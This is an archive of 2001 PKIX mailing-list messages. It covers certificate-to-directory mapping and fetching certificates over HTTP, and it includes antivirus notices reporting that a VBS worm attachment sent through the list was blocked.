ZGVzaWduZWQgYW5kIGJhc2VkIG9uIHRoZSBzdGFuZGFyZCBhbmQgcmVndWxhdGlvbiBvZiBlbGVj
dHJpY2FsIHN5c3RlbS4NClxwYXIgDQpccGFyIH1ccGFyZCBcczE1XHFsIFxsaTBccmkwXHdpZGN0
bHBhclx0eDBcdHg3MDIwXG5vb3ZlcmZsb3dcZmFyb21hblxyaW4wXGxpbjBcaXRhcDAge1xiXGYw
XGZzMjJcdWwgUGFyZGlzIFRvd2VyIENvLCBUZWhyYW4sIElyYW59e1xmMFxmczIyIFx0YWIgfXtc
YlxmMFxmczIyXHVsIDEvOTMtMTEvOTQNClxwYXIgfVxwYXJkIFxzMTVccWwgXGxpMFxyaTBcd2lk
Y3RscGFyXHR4MFxub292ZXJmbG93XGZhcm9tYW5ccmluMFxsaW4wXGl0YXAwIHtcZjBcZnMyMiBE
ZXNpZ25lZCBzaW11bGF0b3JzIGZvciB0cmFpbmluZyBwdXJwb3NlLg0KXHBhciB9XHBhcmQgXHMx
NVxxbCBcbGkwXHJpLTYzMFx3aWRjdGxwYXJcdHgwXG5vb3ZlcmZsb3dcZmFyb21hblxyaW4tNjMw
XGxpbjBcaXRhcDAge1xmMFxmczIyICpEZXZlbG9wZWQgYW4gYXBwbGljYXRpb24gaW4gIEMrKyBm
b3IgIGN5Y2xvY29udmVydG9yIHNpbXVsYXRvci4gVGhlICANClxwYXIgY3ljbG9jb252ZXJ0b3Ig
aXMgdXNlZCBpbiB0aGUgc3RhcnRlcnMgb2Ygc3luY2hyb25vdXMgbW90b3JzLg0KXHBhciB9XHBh
cmQgXHMxNVxxbCBcbGkwXHJpLTcyMFx3aWRjdGxwYXJcdHgwXG5vb3ZlcmZsb3dcZmFyb21hblxy
aW4tNzIwXGxpbjBcaXRhcDAge1xmMFxmczIyICpEZXZlbG9wZWQgYXBwbGljYXRpb24gdXNpbmcg
QysrICBmb3IgY29udHJvbCBzcGVlZCBvZiAgREMgbW90b3JzLiBUaGUgYXBwbGljYXRpb24NClxw
YXIgIGdldHMgaW5wdXQgdm9sdGFnZSB0byB0aGUgbW90b3IsIHNwZWVkIG9mIG1vdG9yIGFuZCBy
b3RvcidzIGN1cnJlbnQuIEl0IGNhbiBjb250cm9sDQpccGFyICB0aGUgbW90b3Igc3BlZWQgYmFz
ZWQgb24gcmVxdWVzdGVkIHNwZWVkLg0KXHBhciB9XHBhcmQgXHMxNVxxbCBcbGkwXHJpMFx3aWRj
dGxwYXJcdHgwXG5vb3ZlcmZsb3dcZmFyb21hblxyaW4wXGxpbjBcaXRhcDAge1xmMFxmczIyIA0K
KkRldmVsb3BlZCBhcHBsaWNhdGlvbiB1c2luZyBDKysgZm9yIHN0ZXAgbW90b3IncyBjb250cm9s
IHNwZWVkLiBJbiBvcmRlciB0byBjaGFuZ2UgdGhlIGFuZ2xlIG9mIGRpc2ggYW50ZW5uYSwgdGhl
IGFwcGxpY2F0aW9uIG9yZGVycyB0byBzdGVwIG1vdG9yIHRvIGNoYW5nZSB0aGUgcm90b3IncyBz
aXR1YXRpb24uDQpccGFyIA0KXHBhciB9XHBhcmQgXHMxNVxxYyBcbGkwXHJpMFx3aWRjdGxwYXJc
dHgwXG5vb3ZlcmZsb3dcZmFyb21hblxyaW4wXGxpbjBcaXRhcDAge1xiXGYwXGZzMjIgU0tJTExT
Og0KXHBhciB9XHBhcmQgXHMxNVxxbCBcbGkwXHJpMFx3aWRjdGxwYXJcdHgwXG5vb3ZlcmZsb3dc
ZmFyb21hblxyaW4wXGxpbjBcaXRhcDAge1xiXGYwXGZzMjJcdWwgU29mdHdhcmUgZGV2ZWxvcG1l
bnQNClxwYXIgfXtcZjBcZnMyMiBWaXN1YWwgQysrLCBWaXN1YWwgQmFzaWMsIFZpc3VhbCBJbnRl
ckRldiwgVmlzdWFsIEorKywgTUZDLCBTREtzLCBDT00sIERDT00sIEFUTCBBY3RpdmVYcyAsIEMr
KywgRm9ydHJhbiwgSW50ZWwgIDgwODUgQXNzZW1ibGVyIEFjY2Vzcy4NClxwYXIgfXtcYlxmMFxm
czIyXHVsIEludGVybmV0IGRldmVsb3BtZW50DQpccGFyIH17XGYwXGZzMjIgVmlzdWFsIEludGVy
RGV2IDYuMCwgQWN0aXZlIFNlcnZlciBQYWdlcyAoQVNQKSwgU1FMIDcuMCwgQ09NLCBEQ09NLCBK
YXZhIHNjcmlwdC4gDQpccGFyIH17XGJcZjBcZnMyMlx1bCBEYXRhYmFzZSBkZXZlbG9wbWVudH17
XGYwXGZzMjIgDQpccGFyIE1TLVNRTCwgQWNjZXNzLCBGb3hQcm8NClxwYXIgfXtcYlxmMFxmczIy
XHVsIE9wZXJhdGluZyBTeXN0ZW0gVXNlZA0KXHBhciB9e1xmMFxmczIyIE5ULCBNUy1XaW4sIFVO
SVgsIFZBWCwgTVMtRE9TDQpccGFyIH19

--27342482--



Received: from springfield.rotek.com.au (firewall-user@[203.36.43.225]) by above.proper.com (8.9.3/8.9.3) with ESMTP id VAA24213 for <[e-mail]>; Tue, 13 Feb 2001 21:16:19 -0800 (PST)
Received: by springfield.rotek.com.au; id QAA16453; Wed, 14 Feb 2001 16:37:35 +1100 (EST)
Received: from unknown(146.178.76.75) by springfield.rotek.com.au via smap (V5.0) id xmaa16433; Wed, 14 Feb 01 16:37:33 +1100
Received: by SHELBYVILE with Internet Mail Service (5.5.2653.19) id <DX396NV7>; Wed, 14 Feb 2001 16:15:05 +1100
Message-ID: <29044DC28437D4118DE200D0B74D44CC0F21EA@SHELBYVILE>
From: Andrew Probert <[e-mail]>
To: "'Stephen Kent'" <[e-mail]>, David Kemp <[e-mail]>
Cc: [e-mail]
Subject: RE: Basic Cert-2-Directory mapping question
Date: Wed, 14 Feb 2001 16:14:59 +1100
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain; charset="iso-8859-1"

Hmmm.  This thread is a big read!

Humbly suggest you 
1)  Treat SubjectDN as a local representation.  Local software can use local
"knowledge" to find certs.

If things cannot be found locally, use SubjectAltName for wider connotations
..

2)  Extend SubjectAltName to carry protocolId & searchstring as required

In the LDAP world, the semantics of: SubjectAltName ..
UniformResourceIndicator ..
LDAP://ldap.myserver.com/basedn??cn=x,ou= ... is already supported.

It seems to me the DC=ACME, DC=COM hack to SubjectDN would have been better
effected by using the above, or 
SubjectAltName .. directoryName

For other protocols you could use RegisteredID and choose some new PKIX OIDs
with semantics i.e. OCSP address.

Define a limited profile for lookups.

Allows retrofit to market.  Needs new client capability.

But agree fundamentally, that a Naming Authority is required.  You can't
infer "knowledge" (directory references) from thin air.

Think hardcoding RFC822Names into S/MIME certs causes as many problems as it
solves.  Could have worked just
as well without.  I want to trust the Sender, not the mailbox it came from.
We are now issuing certs with multiple
RFC822Names to cater for work, home, and away users.

Think certificate policy .. who is allowed to do what (in corporate world)
is tightly linked to issues above.  

I probably need to configure that sort of knowledge locally on a corporate
or scheme basis, so maybe I would configure other "knowledge" at the same
time, which makes the above redundant?  Whilst Internet is largely an open
and promiscous network, do I continue such practice with secure
certificate-based traffic?

Look forwards to comments.

Andrew Probert
SecureNet Limited

-----Original Message-----
From: Stephen Kent [mailto:[e-mail]]
Sent: Friday, 19 January 2001 9:07 AM
To: David Kemp
Cc: [e-mail]
Subject: RE: Basic Cert-2-Directory mapping question


Dave,

>Skip,
>
>I favor the implicit approach.
>
>Existing DNs schemas have tremendous inertia, and in addition to
>more intellectual reasons, registering existing country-based
>DNs within DNS is overwhelmingly the path of least resistance.
>In order to support Internet directory interoperability, it is far
>easier to say (to the DoD PKI, for example):
>
>   "You have to register a DNS record for OU=DoD."
>
>rather than:
>
>   "You have to change all of your certificates and directories to
>   include a new top-level RDN."
>
>I agree with Bob's goal of eliminating the need to pass certs in
>session handshakes and messages. If there were only two options (change
>the DN or add an extension), then only the first moves toward that
>goal.  But you have proposed a third option: leave the cert alone!
>For my part, I am simply in awe of the elegance of that approach.
>It might even work.

I don't agree that doing away with transmission of certs and CRLs 
inline via protocols, is a good idea in general. I understand why Bob 
wants to do this in his examples, but there is another side to the 
story. Reliance on the availability of a repository as a precursor to 
secure communications makes the secure communications more vulnerable 
to denial of service attacks, as well as creating likely greater 
delays security association creation. So, for protocols like SSL and 
IPsec, I'm more comfortable with passing this data inline, rather 
than relying on retrieving it from a server.

E-mail is the really good example of a general purpose application 
where it is necessary to retrieve a certificate for an encryption key 
from a server (or receive it inline from the peer who is the target 
of the message) prior to communication. But, for signed-only 
messages, passing cert chains and CRLs is still a reasonable strategy.

Steve


Received: from mail-fwd.verio-web.com ([161.58.16.59]) by above.proper.com (8.9.3/8.9.3) with SMTP id TAA21509 for <[e-mail]>; Tue, 13 Feb 2001 19:21:14 -0800 (PST)
Received: from 161.58.117.181 (161.58.117.181) by mail11b.verio-web.com (RS ver 1.0.58s) with SMTP id 029991735; Tue, 13 Feb 2001 22:20:43 -0500 (EST)
Received: from caveosystems.com (adsl-141-154-32-232.bostma.adsl.bellatlantic.net [141.154.32.232]) by os390.caveosystems.com (8.9.3/8.9.3) with ESMTP id WAA17455; Tue, 13 Feb 2001 22:22:16 -0500
Message-ID: <[e-mail]>
Date: Tue, 13 Feb 2001 22:22:50 -0500
From: Rich Salz <[e-mail]>
X-Mailer: Mozilla 4.73 [en] (Win98; U)
X-Accept-Language: en
MIME-Version: 1.0
To: [e-mail]
CC: [e-mail]
Subject: Re: Looking for Standards
References: <[e-mail]>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Loop-Detect: 1

> And the winner is Andrew Gray for suggesting DCE as the furthest possible point
> from the original requirements.

True, but perhaps only because DCE didn't need it.
	/r$


Received: from mail.ec.auckland.ac.nz (mail.student.auckland.ac.nz [130.216.35.201]) by above.proper.com (8.9.3/8.9.3) with ESMTP id SAA19910 for <[e-mail]>; Tue, 13 Feb 2001 18:39:24 -0800 (PST)
Received: from kahu.cs.auckland.ac.nz ([e-mail] [130.216.36.13]) by mail.ec.auckland.ac.nz (8.9.3/8.8.6/cs-master) with SMTP id PAA17682 for <[e-mail]>; Wed, 14 Feb 2001 15:39:25 +1300 (NZDT) (sender [e-mail])
Received: by kahu.cs.auckland.ac.nz (relaymail v0.9) id <98211836504084>; Wed, 14 Feb 2001 15:39:25 (NZDT)
From: [e-mail] (Peter Gutmann)
To: [e-mail]
Subject: Re: Looking for Standards
Sender: [e-mail]
Reply-To: [e-mail]
X-Charge-To: pgut001
X-Authenticated: relaymail v0.9 on kahu.cs.auckland.ac.nz
Date: Wed, 14 Feb 2001 15:39:25 (NZDT)
Message-ID: <[e-mail]>

I wrote:

>(I was going to finish by suggesting something silly as the next step in the
> progression, but I normally use Corba as the canonical heavyweight protocol so
> I can't actually think of anything to use as the next step beyond this).

And the winner is Andrew Gray for suggesting DCE as the furthest possible point
from the original requirements.  Andrew wins a bilabial fricative from the
Object Management Group for his suggestion.

Peter.



Received: from mail.ec.auckland.ac.nz (mail.student.auckland.ac.nz [130.216.35.201]) by above.proper.com (8.9.3/8.9.3) with ESMTP id PAA11717 for <[e-mail]>; Tue, 13 Feb 2001 15:32:14 -0800 (PST)
Received: from kahu.cs.auckland.ac.nz ([e-mail] [130.216.36.13]) by mail.ec.auckland.ac.nz (8.9.3/8.8.6/cs-master) with SMTP id MAA08388; Wed, 14 Feb 2001 12:32:14 +1300 (NZDT) (sender [e-mail])
Received: by kahu.cs.auckland.ac.nz (relaymail v0.9) id <98210713402219>; Wed, 14 Feb 2001 12:32:14 (NZDT)
From: [e-mail] (Peter Gutmann)
To: [e-mail], [e-mail]
Subject: Re:  Looking for Standards
Cc: [e-mail], [e-mail]
Sender: [e-mail]
Reply-To: [e-mail]
X-Charge-To: pgut001
X-Authenticated: relaymail v0.9 on kahu.cs.auckland.ac.nz
Date: Wed, 14 Feb 2001 12:32:14 (NZDT)
Message-ID: <[e-mail]>

Polar Humenn <[e-mail]> writes:

>There is a standard for certificate management out of the CORBA E-commerce
>Group, from the OMG (Object Management Group), the standards group for Object
>Request Brokers.
>
>The document number there is:
>        http://cgi.omg.org/cgi-bin/doc?ec/99-12-03

Hmm, the original request was for a simple, lightweight means of grabbing certs
from a server via HTTP.  I saw a mention of LDAP somewhere, and now someone's
suggested using CORBA to move certs around... I can't shake the feeling that
this progression is heading in the exact opposite direction to what the
original poster was after :-).

(I was going to finish by suggesting something silly as the next step in the
 progression, but I normally use Corba as the canonical heavyweight protocol so
 I can't actually think of anything to use as the next step beyond this).

Peter.



Received: from marcy.adiron.com ([128.230.111.5]) by above.proper.com (8.9.3/8.9.3) with ESMTP id OAA08983 for <[e-mail]>; Tue, 13 Feb 2001 14:46:36 -0800 (PST)
Received: from localhost (polar@localhost) by marcy.adiron.com (8.9.1/8.9.0) with ESMTP id RAA17643; Tue, 13 Feb 2001 17:40:47 -0500
X-Authentication-Warning: marcy.adiron.com: polar owned process doing -bs
Date: Tue, 13 Feb 2001 17:40:46 -0500 (EST)
From: Polar Humenn <[e-mail]>
To: Peter Gutmann <[e-mail]>
cc: [e-mail], [e-mail]
Subject: Re:  Looking for Standards
In-Reply-To: <[e-mail]>
Message-ID: <[e-mail]>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

There is a standard for certificate management out of the CORBA E-commerce
Group, from the OMG (Object Management Group), the standards group for
Object Request Brokers.

The document number there is: 
	http://cgi.omg.org/cgi-bin/doc?ec/99-12-03

Cheers,
-Polar

 On Wed, 14 Feb 2001, Peter Gutmann wrote:

> Lars Pfuhl <[e-mail]> writes:
> 
> >I'm looking for some standards (RFCs) dealing with certificate management over
> >http. The standard must describe how to store and to get certificates from a
> >certificate server. I've only found the rfc for OCSP (rfc 2560) but it
> >contains only the standards for checking the status of a certificate. If you
> >have a hint for me which rfc is the right it would be very nice.
> 
> There's no standard for this, but I've come across a number of people/
> organisations who have invented their own methods for it (it's so simple that
> there's not much to it, however Sod's law results in everyone choosing not-
> quite-the-same way to do the same thing).  I created a sketch of this a while
> back for a company who were setting up a national cert database here, I could
> turn this into an RFC draft fairly easily if there's any interest, mostly to
> provide some sort of common ground for implementors.
> 
> Peter.
> 

-------------------------------------------------------------------
Polar Humenn                  Adiron, LLC
mailto:[e-mail]       2-212 CST      
Phone: [phone]           Syracuse, NY 13244-4100
Fax:   [phone]           http://www.adiron.com



Received: from mail.ec.auckland.ac.nz (mail.student.auckland.ac.nz [130.216.35.201]) by above.proper.com (8.9.3/8.9.3) with ESMTP id LAA25354 for <[e-mail]>; Tue, 13 Feb 2001 11:06:14 -0800 (PST)
Received: from kahu.cs.auckland.ac.nz ([e-mail] [130.216.36.13]) by mail.ec.auckland.ac.nz (8.9.3/8.8.6/cs-master) with SMTP id IAA31147; Wed, 14 Feb 2001 08:06:06 +1300 (NZDT) (sender [e-mail])
Received: by kahu.cs.auckland.ac.nz (relaymail v0.9) id <98209116600864>; Wed, 14 Feb 2001 08:06:06 (NZDT)
From: [e-mail] (Peter Gutmann)
To: [e-mail], [e-mail], [e-mail], [e-mail]
Subject: Re:  Looking for Standards
Sender: [e-mail]
Reply-To: [e-mail]
X-Charge-To: pgut001
X-Authenticated: relaymail v0.9 on kahu.cs.auckland.ac.nz
Date: Wed, 14 Feb 2001 08:06:06 (NZDT)
Message-ID: <[e-mail]>

"David P. Kemp" <[e-mail]> writes:

>Presumably you meant to say "There's no standard for this other than RFC
>2585", which "specifies the conventions for using FTP and HTTP to obtain
>certificates and CRLs from PKI repositories."

I don't really regard that as any sort of useful specification, "If you want to
get a cert from a server, fetch it by its URL" is a tautology for which I've
always wondered why it was necessary to publish an RFC [1].  What I was talking
about is something specifying the mechanisms you use to grab a cert when you
have an issuerAndSerialNumber, subjectKeyIdentifier, cert hash, or one of a
number of other commonly used identifiers (the situations I've run into were
for use with cert chains and S/MIME, so those were the identifiers which were
being used... oh yes, and issuerName as well).

The last time this came up I scribbled down some comments:

  My general thoughts were to just profile the use of GET with attributes
  rfc822Name, issuerAndSerialHash, subjectHash, and subjectKeyIdentifier (eg
  "GET /foo-cgi?rfc822Name=[e-mail]").  If there's more than one cert, it's
  returned as a multipart response.  If the cert is elsewhere, you get a
  40<whatever> redirect.  That's about all there is to it, it's just a simple
  interop profile so that we don't end up with a hundred similar but
  incompatible ways of doing it.

(that was after some poking around revealed that we were already heading
towards a situation where there'd be a hundred similar but imcompatible ways to
do this).

Peter.

[1] No offense to the authors, but... "Fetch a cert by specifying its URL" is
    the subject of a standards-track RFC?




Received: from stingray.missi.ncsc.mil (stingray.missi.ncsc.mil [144.51.50.20]) by above.proper.com (8.9.3/8.9.3) with ESMTP id KAA21839 for <[e-mail]>; Tue, 13 Feb 2001 10:10:06 -0800 (PST)
Received: from stingray.missi.ncsc.mil (root@localhost) by stingray.missi.ncsc.mil with ESMTP id NAA00843; Tue, 13 Feb 2001 13:09:04 -0500 (EST)
Message-Id: <[e-mail]>
Date: Tue, 13 Feb 2001 13:09:26 -0500 (EST)
From: "David P. Kemp" <[e-mail]>
Reply-To: "David P. Kemp" <[e-mail]>
Subject: Re:  Looking for Standards
To: [e-mail], [e-mail], [e-mail]
MIME-Version: 1.0
Content-Type: TEXT/plain; charset=us-ascii
Content-MD5: 2QE5jP07k3VwC0VxyqBTiw==
X-Mailer: dtmail 1.3.0 CDE Version 1.3 SunOS 5.7 sun4u sparc

> From: [e-mail] (Peter Gutmann)
> To: [e-mail], [e-mail]
> Subject: Re:  Looking for Standards
> X-Charge-To: pgut001
> X-Authenticated: relaymail v0.9 on kahu.cs.auckland.ac.nz
> Date: Wed, 14 Feb 2001 06:30:13 (NZDT)
> 
> Lars Pfuhl <[e-mail]> writes:
> 
> >I'm looking for some standards (RFCs) dealing with certificate management 
over
> >http. The standard must describe how to store and to get certificates from a
> >certificate server. I've only found the rfc for OCSP (rfc 2560) but it
> >contains only the standards for checking the status of a certificate. If you
> >have a hint for me which rfc is the right it would be very nice.
> 
> There's no standard for this, but I've come across a number of people/
> organisations who have invented their own methods for it (it's so simple that
> there's not much to it, however Sod's law results in everyone choosing not-
> quite-the-same way to do the same thing).  I created a sketch of this a while
> back for a company who were setting up a national cert database here, I could
> turn this into an RFC draft fairly easily if there's any interest, mostly to
> provide some sort of common ground for implementors.
> 
> Peter.


Presumably you meant to say "There's no standard for this other
than RFC 2585", which "specifies the conventions for using FTP and
HTTP to obtain certificates and CRLs from PKI repositories."




Received: from mail.ec.auckland.ac.nz (mail.student.auckland.ac.nz [130.216.35.201]) by above.proper.com (8.9.3/8.9.3) with ESMTP id JAA19626 for <[e-mail]>; Tue, 13 Feb 2001 09:30:14 -0800 (PST)
Received: from kahu.cs.auckland.ac.nz ([e-mail] [130.216.36.13]) by mail.ec.auckland.ac.nz (8.9.3/8.8.6/cs-master) with SMTP id GAA29730; Wed, 14 Feb 2001 06:30:13 +1300 (NZDT) (sender [e-mail])
Received: by kahu.cs.auckland.ac.nz (relaymail v0.9) id <98208541300427>; Wed, 14 Feb 2001 06:30:13 (NZDT)
From: [e-mail] (Peter Gutmann)
To: [e-mail], [e-mail]
Subject: Re:  Looking for Standards
Sender: [e-mail]
Reply-To: [e-mail]
X-Charge-To: pgut001
X-Authenticated: relaymail v0.9 on kahu.cs.auckland.ac.nz
Date: Wed, 14 Feb 2001 06:30:13 (NZDT)
Message-ID: <[e-mail]>

Lars Pfuhl <[e-mail]> writes:

>I'm looking for some standards (RFCs) dealing with certificate management over
>http. The standard must describe how to store and to get certificates from a
>certificate server. I've only found the rfc for OCSP (rfc 2560) but it
>contains only the standards for checking the status of a certificate. If you
>have a hint for me which rfc is the right it would be very nice.

There's no standard for this, but I've come across a number of people/
organisations who have invented their own methods for it (it's so simple that
there's not much to it, however Sod's law results in everyone choosing not-
quite-the-same way to do the same thing).  I created a sketch of this a while
back for a company who were setting up a national cert database here, I could
turn this into an RFC draft fairly easily if there's any interest, mostly to
provide some sort of common ground for implementors.

Peter.



Received: from gate.bonelabs.com (bloodymary.vebis.de [212.121.137.65]) by above.proper.com (8.9.3/8.9.3) with ESMTP id IAA17038 for <[e-mail]>; Tue, 13 Feb 2001 08:46:00 -0800 (PST)
Received: from domino.bonelabs.com (domino.bonelabs.com [192.168.0.13]) by gate.bonelabs.com (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with ESMTP id RAA23786 for <[e-mail]>; Tue, 13 Feb 2001 17:44:07 +0100
Received: from bonelabs.com ([192.168.0.105]) by domino.bonelabs.com (Lotus Domino Release 5.0.3 (Intl)) with ESMTP id 2001021318474869:228 ; Tue, 13 Feb 2001 18:47:48 +0100 
Message-ID: <[e-mail]>
Date: Tue, 13 Feb 2001 17:46:20 +0100
From: Lars Pfuhl <[e-mail]>
Organization: bone labs GmbH
X-Mailer: Mozilla 4.75 [de] (WinNT; U)
X-Accept-Language: de
MIME-Version: 1.0
To: [e-mail]
Subject: Looking for Standards
X-MIMETrack: Itemize by SMTP Server on domino/bonelabs(Release 5.0.3 (Intl)|21 March 2000) at 13/02/2001 06:47:48 PM, Serialize by Router on domino/bonelabs(Release 5.0.3 (Intl)|21 March 2000) at 13/02/2001 06:47:50 PM, Serialize complete at 13/02/2001 06:47:50 PM
Content-Transfer-Encoding: 7bit
Content-Type: text/plain; charset=us-ascii

Hello,

I'm looking for some standards (RFCs) dealing with certificate
management over http. The standard must describe how to store and to
get certificates from a certificate server. I've only found the rfc
for OCSP (rfc 2560) but it contains only the standards for checking
the status of a certificate. If you have a hint for me which rfc is
the right it would be very nice.

Thanks in advance.

Lars Pfuhl
-- 
bone labs ... Secure eBusiness
     Try our Internet-WorkTeam platform at http://www.centerworks.de
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
bone labs GmbH                         Lars Pfuhl
PF 171134, D-10203 Berlin              
phone [phone]               email   [e-mail]
fax   [phone]              web   http://www.bonelabs.com


Received: from mx-relay2.treas.gov (mx-relay2.treas.gov [199.196.144.6]) by above.proper.com (8.9.3/8.9.3) with ESMTP id HAA10034 for <[e-mail]>; Tue, 13 Feb 2001 07:27:07 -0800 (PST)
From: [e-mail]
Received: from tias4.treas.gov (tias-gw4.treas.gov [199.196.144.14]) by mx-relay2.treas.gov (8.9.1b+Sun/8.9.3) with SMTP id KAA27186 for <[e-mail]>; Tue, 13 Feb 2001 10:26:50 -0500 (EST)
Received: from mailhub.net.treas.gov by tias4.treas.gov via smtpd (for mx-relay.treas.gov [199.196.144.6]) with SMTP; 13 Feb 2001 15:26:49 UT
Received: from notes.tcs.treas.gov (mailhub-2 [10.7.8.10]) by mailhub-2.net.treas.gov (8.9.1b+Sun/8.9.3) with SMTP id KAA05226 for <[e-mail]>; Tue, 13 Feb 2001 10:26:45 -0500 (EST)
Received: by notes.tcs.treas.gov(Lotus SMTP MTA v4.6.6  (890.1 7-16-1999))  id 852569F2.00550894 ; Tue, 13 Feb 2001 10:28:47 -0500
X-Lotus-FromDomain: TCS
To: [e-mail]
Message-ID: <[e-mail]>
Date: Tue, 13 Feb 2001 10:28:43 -0500
Subject: yet another Virus Alert from pkix email
Mime-Version: 1.0
Content-type: text/plain; charset=us-ascii
Content-Disposition: inline

---------------------- Forwarded by Tina R Fox/TCS/TREAS/GOV on 02/13/2001 10:24
AM ---------------------------


[e-mail] on 02/13/2001 03:57:17 AM

To:   Tina R Fox/TCS/TREAS/GOV@TCS
cc:
Subject:  Virus Alert



InterScan has detected a virus, VBS_KALAMAR.A, in an email sent to you on
02/13/2001 03:57:14 from [e-mail].  The following action was
taken: move.





Received: from mx-relay1.treas.gov (mx-relay1.treas.gov [199.196.144.5]) by above.proper.com (8.9.3/8.9.3) with ESMTP id HAA09690; Tue, 13 Feb 2001 07:25:42 -0800 (PST)
From: [e-mail]
Received: from tias4.treas.gov (tias-gw4.treas.gov [199.196.144.14]) by mx-relay1.treas.gov (8.9.1b+Sun/8.9.3) with SMTP id KAA06784; Tue, 13 Feb 2001 10:25:42 -0500 (EST)
Received: from mailhub.net.treas.gov by tias4.treas.gov via smtpd (for mx-relay.treas.gov [199.196.144.5]) with SMTP; 13 Feb 2001 15:25:27 UT
Received: from notes.tcs.treas.gov (mailhub-2 [10.7.8.10]) by mailhub-2.net.treas.gov (8.9.1b+Sun/8.9.3) with SMTP id KAA04180; Tue, 13 Feb 2001 10:25:25 -0500 (EST)
Received: by notes.tcs.treas.gov(Lotus SMTP MTA v4.6.6  (890.1 7-16-1999))  id 852569F2.0054EA80 ; Tue, 13 Feb 2001 10:27:30 -0500
X-Lotus-FromDomain: TCS
To: [e-mail], [e-mail]
Message-ID: <[e-mail]>
Date: Tue, 13 Feb 2001 10:27:29 -0500
Subject: received virus from pkix mailing list again - TrendMicro Interscan can run on more than just MS Exchange systems
Mime-Version: 1.0
Content-type: multipart/mixed;  Boundary="0__=okK73lDFExwdUeClS0yLFWfhl964WtxrvJaFXi80EieG04jLloAoBmy1"
Content-Disposition: inline

--0__=okK73lDFExwdUeClS0yLFWfhl964WtxrvJaFXi80EieG04jLloAoBmy1
Content-type: text/plain; charset=us-ascii
Content-Disposition: inline


---------------------- Forwarded by Tina R Fox/TCS/TREAS/GOV on 02/13/2001 10:20
AM ---------------------------


"seagate.backup" <[e-mail]> on 02/13/2001 03:52:02 AM

To:   "'[e-mail]'" <[e-mail]>
cc:    (bcc: Tina R Fox/TCS/TREAS/GOV)
Subject:  Antigen found =*.vbs file



Antigen for Exchange found AnnaKournikova.jpg.vbs matching =*.vbs file
filter.
The file is currently Deleted.  The message, "Here you have, ;o)", was
sent from Eolo Lucentini  and was discovered in IMC Queues\Inbound
located at IDENTRUS/NewYork/BLUE.


--0__=okK73lDFExwdUeClS0yLFWfhl964WtxrvJaFXi80EieG04jLloAoBmy1
Content-type: text/html; 
	name="att1.htm"
Content-Disposition: attachment; filename="att1.htm"
Content-transfer-encoding: base64
Content-Description: Internet HTML

PCFET0NUWVBFIEhUTUwgUFVCTElDICItLy9XM0MvL0RURCBIVE1MIDMuMi8vRU4iPg0KPEhUTUw+
DQo8SEVBRD4NCjxNRVRBIEhUVFAtRVFVSVY9IkNvbnRlbnQtVHlwZSIgQ09OVEVOVD0idGV4dC9o
dG1sOyBjaGFyc2V0PXVzLWFzY2lpIj4NCjxNRVRBIE5BTUU9IkdlbmVyYXRvciIgQ09OVEVOVD0i
TVMgRXhjaGFuZ2UgU2VydmVyIHZlcnNpb24gNS41LjI2NTMuMTIiPg0KPFRJVExFPkFudGlnZW4g
Zm91bmQgPSoudmJzIGZpbGU8L1RJVExFPg0KPC9IRUFEPg0KPEJPRFk+DQoNCjxQPjxGT05UIFNJ
WkU9Mj5BbnRpZ2VuIGZvciBFeGNoYW5nZSBmb3VuZCBBbm5hS291cm5pa292YS5qcGcudmJzIG1h
dGNoaW5nID0qLnZicyBmaWxlIGZpbHRlci48L0ZPTlQ+DQo8QlI+PEZPTlQgU0laRT0yPlRoZSBm
aWxlIGlzIGN1cnJlbnRseSBEZWxldGVkLiZuYnNwOyBUaGUgbWVzc2FnZSwgJnF1b3Q7SGVyZSB5
b3UgaGF2ZSwgO28pJnF1b3Q7LCB3YXM8L0ZPTlQ+DQo8QlI+PEZPTlQgU0laRT0yPnNlbnQgZnJv
bSBFb2xvIEx1Y2VudGluaSZuYnNwOyBhbmQgd2FzIGRpc2NvdmVyZWQgaW4gSU1DIFF1ZXVlc1xJ
bmJvdW5kPC9GT05UPg0KPEJSPjxGT05UIFNJWkU9Mj5sb2NhdGVkIGF0IElERU5UUlVTL05ld1lv
cmsvQkxVRS48L0ZPTlQ+DQo8L1A+DQoNCjwvQk9EWT4NCjwvSFRNTD4NCg==

--0__=okK73lDFExwdUeClS0yLFWfhl964WtxrvJaFXi80EieG04jLloAoBmy1--



Received: from tkcs04 (fs1.tkc.at [195.248.51.98]) by above.proper.com (8.9.3/8.9.3) with SMTP id CAA16405 for <[e-mail]>; Tue, 13 Feb 2001 02:44:42 -0800 (PST)
From: [e-mail]
Message-Id: <[e-mail]>
Date: Tue, 13 Feb 2001 11:43:21 +0100 (Westeuropäische Normalzeit)
To: <[e-mail]>
Subject: InterScan NT Alert

Receiver, InterScan has detected virus(es) in the e-mail attachment.

Date:  	Tue, 13 Feb 2001 11:43:21 +0100 (Westeuropäische Normalzeit)
Method:	Mail
From:  	<[e-mail]>
To:    	<[e-mail]>
File:  	AnnaKournikova.jpg.vbs
Action:	deleted
Virus: 	VBS_KALAMAR.A 


Received: from tkcs04 (fs1.tkc.at [195.248.51.98]) by above.proper.com (8.9.3/8.9.3) with SMTP id CAA16290 for <[e-mail]>; Tue, 13 Feb 2001 02:43:23 -0800 (PST)
From: [e-mail]
Message-Id: <[e-mail]>
Date: Tue, 13 Feb 2001 11:42:39 +0100 (Westeuropäische Normalzeit)
To: <[e-mail]>
Subject: InterScan NT Alert

Receiver, InterScan has detected virus(es) in the e-mail attachment.

Date:  	Tue, 13 Feb 2001 11:42:39 +0100 (Westeuropäische Normalzeit)
Method:	Mail
From:  	<[e-mail]>
To:    	<[e-mail]>
File:  	AnnaKournikova.jpg.vbs
Action:	deleted
Virus: 	VBS_KALAMAR.A 


Received: from rom.antech.de (dns.antech.de [194.45.12.2]) by above.proper.com (8.9.3/8.9.3) with ESMTP id BAA06943 for <[e-mail]>; Tue, 13 Feb 2001 01:12:02 -0800 (PST)
Received: from scherbius.secorvo.de (kasiski.secorvo.de [194.45.12.203]) by rom.antech.de (8.9.3/8.9.3) with ESMTP id KAA08780 for <[e-mail]>; Tue, 13 Feb 2001 10:38:08 +0100
Message-Id: <[e-mail]>
From: "Stefan Kelm" <[e-mail]>
Organization: Secorvo Security Consulting GmbH
To: [e-mail]
Date: Tue, 13 Feb 2001 10:10:26 +0100
